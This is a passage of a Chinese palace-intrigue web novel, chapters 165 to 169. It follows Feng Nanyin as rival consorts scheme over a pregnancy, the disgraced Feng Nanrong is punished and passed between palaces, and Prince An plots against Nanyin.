凤南茵捂着鼻子,看了一眼这人冲出来的地方,是常年无人居住的咸福宫。 “你怎么在这?” 靖王脸色不好,阴沉沉地盯着她。 “你在高兴什么?” 他声音降到了冰点,居高临下审视着眼前小丫头。 明明见她鼻子撞得红红得有些心疼,依旧被她的没心没肺气到。 他做了那么多,又是送宫大夫宅子,又是带她游湖,这丫头竟然半点不知他心意。 他要成亲了,她竟能欢喜的一蹦一跳,岂有此理。 雏菊还没见王爷生过这么大气,感觉他身边三丈内都是寒气,忍不住向后退着身子。 凤南茵却是人不做亏心事,完全不怕死的觉悟,狠狠瞪了他一眼。 “鼻子都要撞塌了,谁还能高兴起来。” 她推了这人一把,现在是真的一点都不高兴了,遇到靖王就没好事,不是被追杀,就是看他杀人,现在她漂亮的小鼻子…… “流鼻血了!” “雏菊,我流鼻血了,快,快扶我回宫。” 她小小年纪,身体嘎嘎好,怎么会因为鼻子撞了一下就流鼻血? 肯定是昨夜将带回去的桂圆全吃了,上火了。 不行,一直这么流鼻血太丢人,她可不要人看笑话,得赶紧回去想办法去火血。 雏菊也是吓坏了,不停地问,“乡主,要不要宣太医?” “不用不用,我自己就能治。” 快走,快走,她才不要让靖王看她笑话。 两个小丫头提着裙子便跑,在这后宫,也就只能在凤南茵身上看到这景了。 时景轩忍不住想笑,本想追上她问问情况,见她这般便算了,想来无碍。 如风问:“王爷,您不去钟粹宫看看吗?” 人都追到这了,王爷怎么还放弃了? 靖王道:“还有事向父皇禀告,下次再找她吧。” 这丫头显然对他没那份心思,不然也不会是这副表现。 他苦笑地摇了摇头,看来想知她心意,还要再等两年。 凤南茵回宫后,忙用了井水洗脸,冰敷了一会,鼻血便止住了。 她吁了一口气,都怪自己贪嘴,竟然补流鼻血了。 转头一想,“不对,都怪靖王,从咸福宫出来也不看着人,害自己鼻子差点断了。” 德妃由人搀扶着进来,担心地问:“听宫娥说,你回来时流鼻血了,轩儿害的?” 德妃其实也担心,南茵这丫头与轩儿认识的早,就怕这丫头知道轩儿赐了婚会心里不痛快。 凤南茵才换了外衫,见娘亲来了,忙过来见礼。 “娘亲,选秀的事情结束了?” 德妃轻轻颔首,“对于轩儿的婚事,你可有什么想法?” 她说着,仔细打量着凤南茵的神情。 凤南茵疑惑,“娘亲为靖王选的,一定都是最合适。” 她能有什么想法,她对这些闺秀又不了解。 若是说真有什么想法,就是方小姐不够漂亮,最多只能称之为端庄。 姜小姐除了那一身胜雪的肌肤,五官至多算小家碧玉,二人的容貌都不及靖王。 但她才不会说出来,又不是她选媳妇。 德妃却给她解释,“娶妻娶贤,方小姐书香世家,学识、涵养都是顶好的。” “姜小姐父亲如今在为靖王做事,该给他女儿一个名分。” 凤南茵给她捶肩,根本没上心,她道:“娘亲,今天丽妃娘娘将凤南蓉要了过去,日后不必到您近前来碍眼了,女儿明日出宫也能安心了。” 德妃点头,“去吧,京城外的腊梅花应该都开了,再一个月桃花也开了,将你圈在这宫里不如放你出去玩玩。” 凤南茵欢喜。 德妃也是欣慰,这丫头没有怪她就好。 其实她留了一个侧妃位,就是给南茵的,若是这丫头与轩儿有情,不至于做妾。 但是正妃位……到底是不合适。 转眼,五月中。 丽妃有孕三整月,皇上迫不及待想将这个好消息公之于众。 这已不是后宫有新生命的事情,而是告知世人,他老当益壮,继贵妃之后,他又有孩儿,能力不减当年。 特意准备在御花园办个百花宴,让后宫妃嫔好好赏玩。 余贵妃被禁足后便病了,如今她七个月的身孕,肚子一天天大了起来,人却是越发地弱。 这些天身子才好一些,便听到这么个消息,恨的要死。 “姜妙梨这个贱人,竟然这般好生养,当年身子坏到那种地步竟又让她怀上了。” 丛嬷嬷在旁小声道:“娘娘,老奴打听过了,这几个月丽妃一直在用安胎药,那药方是冀宁乡主给开的。” “是她,怎么处处都有这小贱人手笔。” 第一百六十五章凤南蓉挨罚 皇上已经许久不到翊坤宫了,偶尔过来看看她,也是问问她身子可还好,早前眼中的温柔不见,更多的是不耐烦。 贵妃抚摸着高高隆起的腹部,如今她的胜算唯有肚子里的这个孩子了,可就连这份胜算也有人要和她争! “丽妃肚子里的这个孩子绝对不能留。” 丛嬷嬷担忧道:“如今丽妃正当盛宠,皇上当眼珠子一样盯着,吃食有专人伺候,甚至给安排了两名影卫,根本无从下手。” 何况这边才传出有孕,那边就出了意外,肯定会一查到底的。 贵妃想了想,此时动手确实胜算不大。 “你让本宫怎么咽下这口气。” 她说着,忽然觉得胸闷的厉害,呼吸都变得吃力,痛苦不已。 丛嬷嬷忙替她抚着心口,“娘娘,那么多大风大浪都挺过来了,不差这个把月,她肚子里那个是男是女还不一定,可娘娘已经有了安王,您这胎不管是男是女都是福气。” 贵妃被她的话劝住,呼吸慢慢平复下来。 疲惫地躺在塌上,心下都是委屈。 她这一胎怀得很累,当年怀安王的时候,没觉得自己身体这样的差。 “都说最是无情帝王心,我现在能指望的就是安王和肚子里这个了。” 景颐在工部的差事是做不成了,才解了禁足,还没有正经差事,她长长叹了一口气,只觉得处处不顺。 房间静默了好一阵,她忽然有了主意。 “提起景颐,我倒是想到一个可以利用的人。” 贵妃挑着她掐丝宝石护甲,得意地勾着唇,“丛嬷嬷,得空给凤南蓉带个信,只要她能让丽妃肚子里的孩子小产,我便让她入安王府,给安王做侧妃。” 丛嬷嬷神色一滞,“娘娘,那婢子在春华宫连内殿都进不去,听说只能给丽妃伺候洗脚水,娘娘是不是太看重她了?” 贵妃睨了她一眼,“眼下春华宫铁桶一块,也就凤南蓉能利用,她想摆脱眼下困境,这是最好的出路。” 她轻笑,再说,做不到也无妨,孩子生下来再弄死,比在肚子里弄死更容易。 春华宫,丽妃一脸怡然自若地倚靠在美人榻上,手里捧着一本曲谱。 如今她伺候不了皇上,也不能为皇上跳舞,便每日都为皇上弹曲,替皇上放松精神,每晚依旧能缠着皇上宿在她这里。 她清楚,想要保住眼下的荣光,盛宠就不能断,拢了皇上的心,这天底下除了不该奢望的高位,她全都能拥有。 外间,一声闷响,随后是脆响的巴掌声。 “春蓉,让你干这么一点小活都不会,是不想吃晚饭了吗?” 念芯一听这动静,就知是迎春又在骂凤南蓉。 而凤南蓉入了春华宫后就被夺了姓,由丽妃重新赐名改为春蓉。 每每被这样叫到,凤南蓉都觉得被极尽羞辱。 “我到底做错了什么?” “谁给你的身份,让你称我。”随后又是一巴掌被甩在脸上。 念芯来到窗前,顺着开着的窗口向外看,凤南蓉跌坐在一堆衣物上,地上摊着大面积的水,她就坐在水里。 她摇了摇头,“真是蠢笨,天天能让人找到由头挨打。” 喜嬷嬷在旁劝着,“娘娘,这春蓉容貌生得好,听说是这批秀女这个。” 她竖了一下大拇指。 “如今她在咱们春华宫当差不得力,怕是会生怨恨,万一动了勾引皇上的心思,娘娘不能不防啊!” 丽妃从一旁拿过满嵌云母雕花铜镜,看了看自己的脸。 南茵说,她的容貌最是适合弱不禁风,这样看起来楚楚可怜、惹人怜惜。 而凤南蓉的样貌与她都是妩媚娇柔类型…… 她猛地坐起身子,心生警惕,她如今吃的好,日子过得顺心,加上有孕,这阵子确实长了一点肉。 若是再胖回去,甚至到了孕后期身体会更胖,保不住皇上会瞧上别人。 喜嬷嬷又道:“暗卫刚传话,晌午过后,那丫头与翊坤宫的人单独说了好一会子话,还给她塞了一样东西。” “是什么?” 喜嬷嬷摇头,“暗卫没看清楚,但衣服湿了肯定要回去换,娘娘要不要趁机搜搜看?” 丽妃:“如今这春华宫上上下下都是皇上安排来伺候我的人,各个尽心,唯这春蓉是我叫要来了,坏了她的好机缘,怕是心中恨着我呢。” “搜!本宫倒要看看贵妃给了她什么好处。” 外面迎春还在骂,“你瞪什么,你把眼珠子瞪出来这活你今天也得干完,这可是娘娘的衣服,上等蚕丝春裙,必须用冷水洗,多一点褶皱,缩水,就等着挨板子吧。” 凤南蓉眼泪一颗一颗地往下落,她在永和宫三个月就受尽了奴才的欺辱,可那也只是学规矩而已。 如今来到丽妃身前,却做最下等奴婢的活。 她推开迎春,跪在春华宫殿外,大喊,“娘娘,奴婢知道错了,那衣裙奴婢再不敢穿,求您饶了奴婢吧!” 姜妙梨给念芯使了一个眼色,让她别在院里吵。 念芯走出去,喝斥迎春,“什么事吵闹没完,是都想挨板子吗?要是一点活都干不好,就都到后院跪着。” 迎春瞪了凤南蓉一眼,掐着她胳膊上的肉道:“还不赶紧去换了干净的衣服去干活,你想害死我不成。” 凤南蓉这次却是不为所动,继续喊,“娘娘,奴婢真的知道错了,奴婢从来没做过这些活计,求娘娘开恩饶了奴婢吧。” 丽妃的声音冷冷传出来:“若是听不明白吩咐的话,就不用吃饭了,这种蠢笨的东西直接饿死算了。” 凤南蓉当即住了声,她怎么忘记了,丽妃讨厌她,就是要折磨她,羞辱她。 “我不明白,我不过是穿了一件与娘娘同样式的衣裙,我都已经得到惩罚了,娘娘为什么还不依不饶?” 念芯走出来,迎面又是一巴掌甩下,“不长记性的东西,竟然心生这么重的抱怨,在主子面前自称我,到后院跪着去。” 娘娘要翻她的东西,让娘娘等了这许久,真是不知死活。 凤南蓉衣衫浸水,连更换的机会都没有,就被拖拽到后院。 念芯到了她的住处一通翻找,最后在枕头下找出一个包着绢帕的金钗,她捧着那物急冲冲去汇报。 “娘娘,春蓉果然有问题。” 虽说秀女入宫可以带银钱,可这钗一看就是出自宫廷,是极贵重的东西,如今被她草草压下枕下,一看就是才收到没来得及细藏。 “凤南蓉,你还真有胆子啊!” 第一百六十六章到了这一刻可后悔? 姜妙梨讥笑。 贵妃娘娘果然好手段,这人才入我宫中三日,这贿赂就到了,对付我还真是迫不及待。 那钗压手,至少有三两重,十足十的料。 “让她跪着,谁也不准她起来。” 最好活活饿死,皇上问起来也不怕,就说她顶撞自己,要害她肚子里孩子性命。 那钗被她用力丢出去,砸在光亮的理石地面上反弹出清脆的声响,落在一只满是米珠绣鞋前。 “娘娘这是怎么了,发这么大的脾气?” 凤南茵弯腰捡起地上的金钗,轻咦了一声。 “这钗少说也值百两银子了,样式老了些,也不至于让娘娘这般瞧不上眼吧?” 凤南茵揶揄声音响起。 姜妙梨一喜,忙从塌上起身相迎,“南茵,你回宫了?” 一个月没见,这丫头窜了好大一截个子。 “长高了,人也黑了,听说你出去游玩了,可开心?” 凤南茵由她攥着手,二人欢喜落座,“也没有去哪,就是到了水乡走一圈,江南已经完成春种,四下一片绿油油的光景,看着喜人的麦苗,哪怕没有见到白墙灰瓦,四季如画的烟雨人家,心情也是好的。” 丽妃羡慕,同时心生向往,“真没想到你去了我家乡,可吃了符离集烧鸡,还有无为板鸭?” “吃了,都尝到了,还特意给娘娘带回了怀宁贡糕。” 雏菊出去一圈也晒黑,将带来的点心放在桌上。 “这糕甜而不腻,养人补气,娘娘有孕吃了不用担心发胖,很养人。” 凤南茵说完,问她:“刚是怎么了?发这么大的脾气。” 提起刚刚的事,姜妙梨便压不住火。 “我有孕的消息才放出去,贵妃便将手伸到我身边,这钗是从凤南蓉铺位上搜出来的,叫我怎么不气。” 凤南茵接过那钗看了,“凤南蓉虽然骄纵,受不得委屈,却是个有心机的,如今她在娘娘宫中当差,虽不得娘娘喜,应该不会蠢到敢伤娘娘的龙胎。” “且她不是缺银钱的人,凤夫人对她寄予厚望,又深通宫中规矩,必给她带足了银两,这钗她收下,怕是贵妃许了她极大的好处。” “许了好处?除了皇上能册封她位分,其余的好处也不过是到贵妃身边做一等宫婢,还不是伺候人的奴才,值得她冒这样大的险?” 凤南茵想到凤家信奉了十几年的签文,瞬间就晓得是什么。 “凤南蓉入宫,目的可不是成为皇帝的妃嫔。” 皇上都五十了,像丽妃这样快速升至妃位自古没几人,即便有了孩子,也不可能在皇上驾崩前坐上后位。 “她的目的本就是奔着安王和靖王来的。” 姜妙梨瞬间也猜到了。 “你是说,贵妃许了她做安王侧妃?” 凤南茵点头,“巨大诱惑前,她很有可能做出蠢事,且这是凤家人的目的。” 她抓住姜妙梨的手,“只有千日做贼的,没有千日防贼的,娘娘将她放在身边变数太多了。” 姜妙梨刚在气头上,是想将这人饿死算了。 可这会又觉得不妥,饿死一个凤南蓉,不是刚好给贵妃拿捏自己的把柄? “那你说如何?” 凤南茵想着,“叫她去钟粹宫吧,她够不到娘娘,便不可能完成贵妃的目的。” 自然也做不成安王的侧妃。 丽妃挑着眉,眼底皆是歉意,“可是……” 她知道凤南茵有多讨厌对方,说好了帮南茵出一口气,这才三日就将人送回去? 凤南茵拍了拍她的手,“娘娘,她是何等小人心性,没有人比我了解。安插在她处只会借别人的势给咱们使绊子,不如放在我眼皮底下看着。” 蹉跎她几年,过了最好的年华,看她成凤的心气还在不在。 事是这样商量定了,凤南茵可没想这么快就将人带走。 敢起了龌龊害人的心思,就该受点折磨。 这人一直跪了一夜一日,颗粒未尽,滴水未沾。 哪怕五月的天,暖人的日头,可真的日悬当空连片云都没得遮挡,也晃得人受不了。 凤南蓉早就饥渴难忍,眼前阵阵发黑。 “娘娘,放过我吧。” 她到底何错之有,不过是穿错了一件衣裙,丽妃这般整她。 她到底养的娇,最后受不住累,昏死过去。 一桶井水淋下,凤南蓉舔了舔干裂的唇角,“水……” “春蓉,现在你可知道错了?” 凤南蓉被磋磨的没了傲气,现在她只想躺在床上,能让她得到片刻喘息。 “奴婢知错。” 一支金钗砸在她眼前,“这是什么?你为何有翊坤宫的东西。” 凤南蓉猛地睁开眼,看到丽妃也在,她一时慌乱。 “娘娘,您听奴婢解释。” “呵,解释?你觉得本宫会信?” 丽妃根本不给她狡辩的机会,一声娇喝,“来呀,将春蓉绑了,送到德妃面前,本宫今日定要治你的罪。” 凤南茵提出不能再将这人留在春华宫,但她也不会出面要人。 免得凤南蓉以为自己还念着姐妹情,让她以为在这后宫还有依仗。 凤南蓉跪了十个时辰,早已不能走路,被人拖拽着进了钟粹宫。 德妃早在凤南茵那里知晓了一切,心中也在懊悔,怎么就将这么个祸患弄进了宫中。 此时她装作不知,故作惊讶地道:“这是怎么了,怎么受了这么重的惩罚?” 丽妃将那支发钗呈上,捏着帕子擦拭眼角。 “姐姐,这宫婢妹妹是不敢再留了,她在我春华宫当差,却收她人的贿赂,这是要做什么?” “妹妹审问她,她拒不承认,难道是要害我腹中孩儿?” 德妃蹙眉,看向凤南蓉,“丽妃说的可是真的?” 凤南蓉此时才明白这后宫的黑暗,想弄死一人,竟是这般的简单,亏她以为自己收下金钗时做的谨慎。 她想活下来,便要咬死不认,“德妃娘娘,这钗是母亲给我的,并不是丽妃说的那般。” 丽妃指着她:“姐姐您看,她根本没有认清自己现在的身份,还以为她是当初的安国公府大小姐,半分为婢的意识都没有。” 德妃明知是做戏,便不想浪费时间,顺手卖凤家一个人情就算了。 “既然当时没有拿下,事后又各说已见,这人便留在本宫身边,让本宫慢慢细查吧。” 她安抚丽妃,“妹妹如今有孕在身,不宜生气,这人也罚了,小错算抵了,这事就让姐姐查明给你个说法。” “那就劳烦姐姐了。” 凤南茵慢慢绕过屏风,走到一脸憔悴的凤南蓉身前。 “姐姐做事怎么这么不小心,三个月都没学会规矩。” 啧啧啧,你削尖脑袋入宫,到了这一刻可后悔? 第一百六十七章凤南蓉被送回钟粹宫 凤南蓉被丽妃罚跪了一日一夜,最是狼狈的时候,最不想看到的人就是她。 她撇开头,羞愤与难堪让她不愿回答。 丽妃当下娇嗔道:“姐姐,您看她,是不是半点规矩都不懂,这样的奴才也不知内务府是怎么教的,主子问话可以装作听不见的。” 德妃蹙眉,“确实没有眼色,这么久了,这点规矩都没学会。” 丽妃见德妃也不为她说情,命令道:“掌嘴,什么时候让她晓得错了,什么时候停。” 念芯动作麻利,凤南蓉连狡辩的机会都没给,啪啪啪就是连抽三下。 凤南蓉只觉得脸颊似被人用烙铁按了一般,疼的眉心直跳。 从小到大,她从未被人这样对待过。 可这已经不是疼的问题,而是在她最瞧不起人面前,受尽折辱,失了尊严的问题。 她瞬间匍匐下身子,连连求饶。 “奴婢知道错了,婢子刚刚不是有意没回乡主的问话,实在是身子不舒服,一时没反应过来。” 凤南茵想笑,这人总是吃了亏,才能乖觉。 她轻轻给德妃揉捏着肩,一言不发,却是用嘲讽尽冷漠的神色看着对方。 丽妃对凤南茵对视一眼,问她,可出气了? 凤南茵轻轻颔首。 并不是凤南蓉挨了三个巴掌她就出气了,而是这巴掌打一个,和打更多个,羞辱的意思是一样的。 她没让念芯继续打人,可不代表就饶了她,而故意将这人晾在那里,央求着德妃。 “娘亲,这次的百花宴,是只请宫中妃嫔,还是朝臣家眷都参加啊?” 德妃拉着她到自己身边坐,亲络地道:“只宫中妃嫔及几位皇子宗亲们参加,其目的是因为丽妃有孕,庆祝一下。人太多,乱得厉害,也怕冲撞了各宫娘娘。” 凤南茵点头,“女儿知晓了。” 德妃又道:“我让内务府给你订了几身衣裳,一会你去试试,我见你这身量窜高了不少,可千万别小了。” 丽妃也在旁附和,“可不是,出门一趟竟然长高了这许多,再不似小孩子,有大姑娘模样了。” 凤南蓉膝盖本就肿了,这会跪着已经痛到麻木,可几人聊着天似把她忘记一般,她全身都因为疼在痉挛着,只想这样晕死算了。 念芯在一旁督促,“跪好了,殿前失仪,小心挨板子。” 凤南蓉实在受不了了,“娘娘,求您饶了奴婢吧!” 丽妃一个冷刀子甩过去,“没见我在和德妃娘娘说话,你一个宫婢又来插嘴,一再地不长教训,当真以为本宫不会惩罚你!” “来呀,将她拖出去跪着。” “喏!”立即有人上来拖拽人。 凤南蓉吓得花容失色,她现在已经全身都在疼了,若是再跪,这双膝盖怕是废了。 “娘娘,求求您饶了奴婢吧。” “德妃娘娘,看在我母亲与您自幼交好,求求您和丽妃说一声,饶过我吧。” 德妃也是看不下去了,这凤南蓉确实没有脑子,这般眉眼高低,要不是安国公府倒了,这等脾性怎么堪正妃之位。 还真是万幸! “妹妹,我看就算了,这人日后留在钟粹宫重新学规矩,免得惹你动了胎气。” 丽妃本来就是给凤南茵还人的,便借机道:“姐姐这样说,这人就劳烦姐姐教导了。” 她行了礼,“妹妹不打扰姐姐,不过她要是屡教不改,依旧分不清尊卑,不如就将人逐出宫吧。” 德妃应道:“是了,既然教不会,留在后宫也是自找死路,到时候便将人送回凤家。” 凤南蓉呆怔在原地,赶出宫? 被赶出宫的秀女和被夫家休掉的弃妇没有区别,名声都臭了,还怎么嫁人,更不要说输给眼前的凤南茵。 这是要告诉所有人,凤家信奉的那道签文是个笑话吗! 她连忙保证,“奴婢日后一定尽心,再不敢犯错了。” 凤南蓉被安排到了偏殿后面的耳房,倒是给她分了一个独立的房间,终于不用再挤通铺,与众人同睡一房。 可是耳房没有阳光,常年无人住,里面阴凉。 她一进去,就觉得冷的难捱,又不知该求谁要个火盆。 四下都是浮灰,不知多久没有人进来过了。 连个趁手的家拾都没有,腿上又有伤,她气坐在倚子上骂。 “都搞我,欺负我,等有一天我翻身了,一个个都给你好看。” 凤南茵倚着门框,噗嗤一声笑了出来。 “翻身?凤南蓉,到了这会你还在做梦,你连皇上都见不到,只会窝在钟粹宫做杂役的活计,你拿什么翻身?” 凤南蓉一噎,“你偷听人说话,你怎么那么卑鄙。” “我偷听你说话?你不自言自语说些不着边际的话,谁能偷听到。” 雏菊进来,丢了一抱的东西给她。 “喏,这是洒扫用的家伙,每日寅时过半就要起来洒扫庭院,要是遇到刮风的时节,就要一直扫,不能让人瞧见这院中有一片落叶,一丁点杂物。” “卯时,德妃起床后,你要去内殿收拾床褥,怕你刚来不会干,会有嬷嬷在旁教你。” “辰时用早膳,一炷香收拾餐具,吃不完就饿着。” “做下人,眼里要有活,心里要揣着事,主子说话要听着,却不能外传,吩咐的事第一时间要应,慢了就要挨罚。” 凤南茵挥手,“雏菊,你与她说再多,她无心做也是听不进去的,反正古嬷嬷亲自调教她,干不好就卷铺盖走人,不用咱们受累。” 凤南蓉被羞辱得多了,这会也不在乎了,她呵笑。 “冀宁乡主教训的是,不过奴婢这会伤了腿,德妃娘娘仁慈,容了我三日不用作工。” 凤南茵随手抄起一个鸡毛掸子碰了一下她的膝盖。 只是轻轻一碰,就像针扎一样,疼得凤南蓉尖叫。 “你做什么?” “哎呦,确实伤得不轻,要是不用药,怕是这辈子都会落下病根,不过奴婢想用药,主子不赏要自己买。” 凤南茵堵着门,雏菊抱着肩,二人一副看好戏的模样。 凤南蓉孤立无援,知道在这里没有人会帮她。 “我想用药,要给多少银钱。” 凤南茵心下好笑,终于不和她姐姐妹妹称呼,学聪明了。 她小手一摊,手中握着一个瓷瓶,“宫中最好的金疮药,活血化瘀,消炎止痛,五十两银子。” 五十两? “你怎么不去抢钱?” 凤南茵白了她一眼,“你可以不用,残废了可别后悔,还有,娘亲仁善也不会一直让你歇着,三天一过,雏菊说的这些活计你都要做,而且只会多,不会少,到时候你顶着伤做工,受苦的还是你。” 凤南蓉咬牙,“好,我买,不过我没有这么多银子。” 第一百六十八章落花有意 这倒是让凤南茵意外了。 “你娘那么看好你,没了家世也要将你送进宫,怎么可能不给你带足了银子,她不知道这后宫是吃人的地方,没有银子玩不转?” 盛青岚当然给备足了银子,可银子太多揣在身上根本背不动,随身带的碎银就二十两,入中的第一天就打点光了。 不然她吃的、用的、住的都会是条件最差的。 那些个狗奴才晓得她们这些秀女没有出路,就可着劲的欺负,她身上的银票都是二十两一张的,送出去一张也就能过几天的好日子。 三个月,一百来天,那五百两就像打了水漂一样,半点成效没起到,就那样白白花光了。 凤夫人进不来,她也出不去,身上最后十几两银子,是她最后的依仗,可是凤南茵上来就要她五十两。 “没有就是没有了,倒是你,堂堂冀宁乡主还指望卖给小宫女药钱发财?” 凤南茵才不受她的激将法。 “是呀,毕竟我被亲娘抛弃一次,又被亲娘卖了一次,知道有银子傍身的用处。” 她捂着小嘴,惊异地道:“你不会也被娘家人舍弃了吧,堂堂凤府大小姐连五十两都拿不出?” 她啧啧,“凤夫人给你的嫁妆,不是说值十几万两银子吗?可惜了,如今你也用不上了,等你出宫都是老姑娘,谁还要?” 雏菊也道:“就是,好好的大小姐不做,用尽手段入宫被人磋磨,还真是下贱。” 凤南茵:“你说你这是图的什么,还在梦想嫁王爷做王妃?” 凤南蓉实在不想再听了,她这会人单势薄,辩解也没有意义。 直接拿出贵妃赏的那根金钗丢过去,“少冷嘲热讽,这根金钗够买你的药了吧!” 凤南茵来就是要这支钗的,明着拿走落人口舌,凤南蓉给就另一回事了。 她将药留下,道:“本乡主不占你便宜,下次可免费为你提供一次药,什么药都行。” 她说完,将金钗收在袖口里,带着人离开。 才回宫,刚好有由头去见七公主。 时菁雨因母妃与皇兄接连犯错,在皇上跟前也不似先前那般受宠,后宫都是逢高踩低的人,加上传言北蛮有意与北庆联姻,她便是最合适的人选。 这个消息一传出,她整日都是闷闷不乐,母妃的精力都在肚子和哥哥身上,没有人在乎她的感受,她人整个瘦了一圈。 听说凤南茵邀她逛御花园,心情当时好了不少,虽然母妃厌恶南茵,可她始终觉得,这是她在后宫唯一能说得上话的朋友。 她只带了田果出门,看到南茵在望春亭坐着,提着裙爬上假山。 “南茵,我还以为你再不想找我玩了呢。” 凤南茵根本不提从前的事,只将自己带来的点心拿出来,“七公主这是说的哪话,我出去玩了一圈,走到哪都惦记着公主,想着要是你也能与我一同出门,咱俩搭伴该是多开心。” 两个小姑娘到底同年,没一会聊得火热。 凤南茵提出采些新鲜花回去酿花油,那是她早入宫时就提过的,现今时节合适,二人一拍即合。 二人采了半篓茉莉,热得都是小脸粉红,雏菊忽然惊异地道:“主子,你头上的金钗不见了。” 凤南茵忙抬手去摸,当时四下找,“怎会没了,刚来御花园前我还戴着。” 雏菊忙道:“奴婢往您走过的路找找,小主别急。” 七公主也道:“田果,你去帮忙。” 找寻了一会,田果发现花架下金光一闪。 “找到了。”她将钗拿起来,越看越觉得眼熟,心下犯起了狐疑。 “乡主,您看是这支吗?” 凤南茵欢喜地将钗接过来,戴在头上,“对,就是这支。我今个才拿外伤膏换回来的,五十两呢,才戴了不到一个时辰,要是丢了可是要心疼的。” 时菁雨也认出来了,那是母妃早两年前的首饰,怎么就到了南茵手上。 “妹妹,这钗你是从谁那得来的?” “春蓉那。” 随后她恍然,“哦,这么说公主可能不知,就是才入宫没多久的一个秀女,被丽妃嫌弃笨送去我母妃那了,她罚跪伤了腿,这不拿金钗与我换的药。” 七公主将这事惦记在了心上,回去便与母妃说了。 贵妃听闻,气得不轻。 “好一个凤南蓉,本宫才赏的东西,转手她就给卖了,好大的胆子。” 如此不将她放在眼里。 “这么没用,才半日就被送到德妃那里,这等废物只配死。” 时菁雨默默听着,母妃做事一向如此,她早已习惯,且她也没觉得有何不对。 蠢货就该早点死。 “丛嬷嬷,百花宴那日,你找个由头将人引到延辉阁。” 七公主:“母妃,她现在就是一个小小的婢女,暗中除掉就是了,何必大费周章。” “你懂什么,按我说的做了就是。” 翌日。 靖王下了朝便来到钟粹宫给靖妃请安,还命人送了一些东西入宫,其中特意给凤南茵带了金缕楼的新装。 德妃静静坐在上首位,看着儿子眼底那不明的情愫,随后又看向凤南茵。 凤南茵双眼都落在衣裙上。 女子都爱美,她也不意外。 “早春那些衣裙就觉得够美了,没想到初夏装更好看。” 可惜送来的晚了,今天她都穿戴好了。 德妃见她喜欢道:“宫中的样式老旧,也就绣工精湛,轩儿送来的衣裙更适合今天的场合,你挑一身换上。” 免得辜负轩儿的一番心意。 靖王看向母妃,莞尔,还真是什么都逃不开母亲的眼睛。 德妃都这样吩咐了,凤南茵挑了一套粉色蚕丝纱翼齐胸襦裙,那裙子上面层层叠叠缝制了上千朵蝴蝶,由小变大,由疏变密,风吹纱动,就像蝴蝶在翩翩翻飞一般。 她本就生得灵动,又性子跳脱,换了衣裙出来活脱脱像误闯人间的精灵。 靖王对她这身打扮很是满意,不由得赞道,“碧玉如花舞翩跹,少女精灵婀娜姿。” 只可惜,精心送了这么多礼物,也只得了丫头一句谢。 德妃看出儿子的心意,忍不住暗叹,儿子好不容易相中一人,竟是落花有意,流水无情。 看来她这个母妃得在旁推动一下,不然这丫头出了宫,不知要被哪家臭小子骗了去。 “轩儿,你与南茵先过去,我这里还有事处理,晚些再去。” 凤南茵应着,二人出了宫向御花园走。 靖王尽量放慢了步子,依旧觉得后面的人没有跟上来,他已经慢到不能再慢,忍不住顿住步子。 “你可以和本王平齐而行。”话音落,转身,娇小的人儿一头撞在他的胸口。 凤南茵撞到人,头上的钗环被扯动,头皮一阵地疼。 手中的茉莉花露没拿温润,淋了二人一身,浓郁的花香飘出来,呛得凤南茵又猛打了两个喷嚏。 她的钗环本就歪了,打喷嚏时又勾了发丝,疼的呲牙咧嘴。 “疼疼疼,我的头发。” 时景轩没想到这丫头会一边走一边洒花露,有些哭笑不得。 “别动,我帮你重插一下。” 二人站在满是紫藤花架前,远远望去,就好似高大的男人将少女拥入怀里,在花藤下幽会。 时景颐携正妃入宫,才走至千秋亭前就看到这一幕。 冷笑一声,“都说时景轩对女人不假辞色,怎么才给许了正妃,就与宫里的小娘子偷偷幽会。” 他今个倒是要看看,那女人是谁,能勾了他六弟的心,他怎么也得把这人抢过来才行。 第一百六十九章安王生的龌龊心思 时景颐年长六弟四年,习惯了从他手里抢夺东西,幼时父亲的目光,成年后朝臣的支持。 可这小子从边关回京后,就处处抢自己的风头。 他被禁足的这三个月,竟是让这个老六夺了他的差事,叫他怎么不恨。 姜新月见夫君走至这里就停了步子,顺着王爷视线望过去,就对上灵动跳脱的少女身影。 当即就蹙了眉。 自己丈夫那点尿性,她做为枕边人比谁都清楚。 后院的妾氏、通房已经多到一双手都数不过来了,这是又看上六弟身边站着的那名少女了。 靖王这边帮凤南茵簪好钗,宠溺地斥了一声,“下次走路小心着些,每次都毛毛躁躁的。” 凤南茵想说,要不是你忽然就停了,我用受罪吗? 真是的,身板跟墙一样硬,这一年受的伤都从他那撞出来的。 靖王见她翻白眼就想笑。 “说过多少次,不要把情绪表露在脸上,你脑袋瓜里想什么,都被人猜到了。” 凤南茵问他,“那你告诉我,这会我在想什么?” 靖王轻轻睨了她一眼,也就这小丫头敢这样没大没小地和他说话,不由得将那娇嗔的模样全落在了他心底。 “你肯定是在想,让你受了苦,要怎么讨回来。” 凤南茵捂唇轻笑,随后摇晃着小脑袋,将发髻上的蝈蝈须子摇晃的成了影。 “错了,本姑娘在想,日后我要走在你前面,这样就不会再撞到你了。” 靖王也不恼,无人的时候随她得意罢了。 看着二人说闹离开的身影,姜新月侧头看向自家王爷。 “爷对那冀宁乡主有兴趣?” 安王娶妻五年,发妻对他的了解已经到了二人不用隐瞒、扯谎的地步。 安王想要的女人,安王妃都会帮他弄到手,不争风吃醋,手腕强硬,后宅的女人相安无事。 这也是他对这个王妃最满意的地方。 那冀宁离宫多日,回来后竟然蜕变的像个大姑娘了,早前觉得她生得可爱,还可以入眼,如今六弟也看上了那丫头,本王就更想得到了。 姜心月心下轻嗤,对丈夫的恶心心思不耻。 “你去想办法将她哄出来,本王想与之深入交谈。” 姜新月心中啐道:“呸,不过是管不住那二两玩意,起了下流的心思,说什么深入交谈。” “今日这场合人多,冀宁要是出了什么事,德妃那边怕是不会答应。” 安王眼中露出不满,“怎么,你办不到?” 姜心月差点将眼珠子翻出来瞪人,可安王那混账脾气,闹起来也是她吃亏,还会丢了贤良、大度的名声。 于是笑着道:“臣妾确实办不到,一是与那冀宁没有交情,冒然上前攀谈容易让她起疑。二是臣妾有更好的人选,她还避开不掉。” 安王听了她的前半段话,险些将人赶回府。 后又听她有更合适人选,便拿了手中的折扇挑了姜氏的下巴,“若论这京城众多女子谁人最聪慧,都不及本王爱妃。” “今夜本王去你云台院。” 姜心月暗中又白了一眼,这男人要不是王爷,早就废了他,容得他这么脏的身子去钻她的被窝。 偏她还要笑得一脸温柔,“是王爷,那臣妾就在院中等着您了。” 她这话的意思是,你大可放心,一点小事罢了。 凤南茵回了两次头,总有一种被毒蛇盯上的怪异感,很是不舒服。 靖王看出她的不安,问她:“怎么了?” 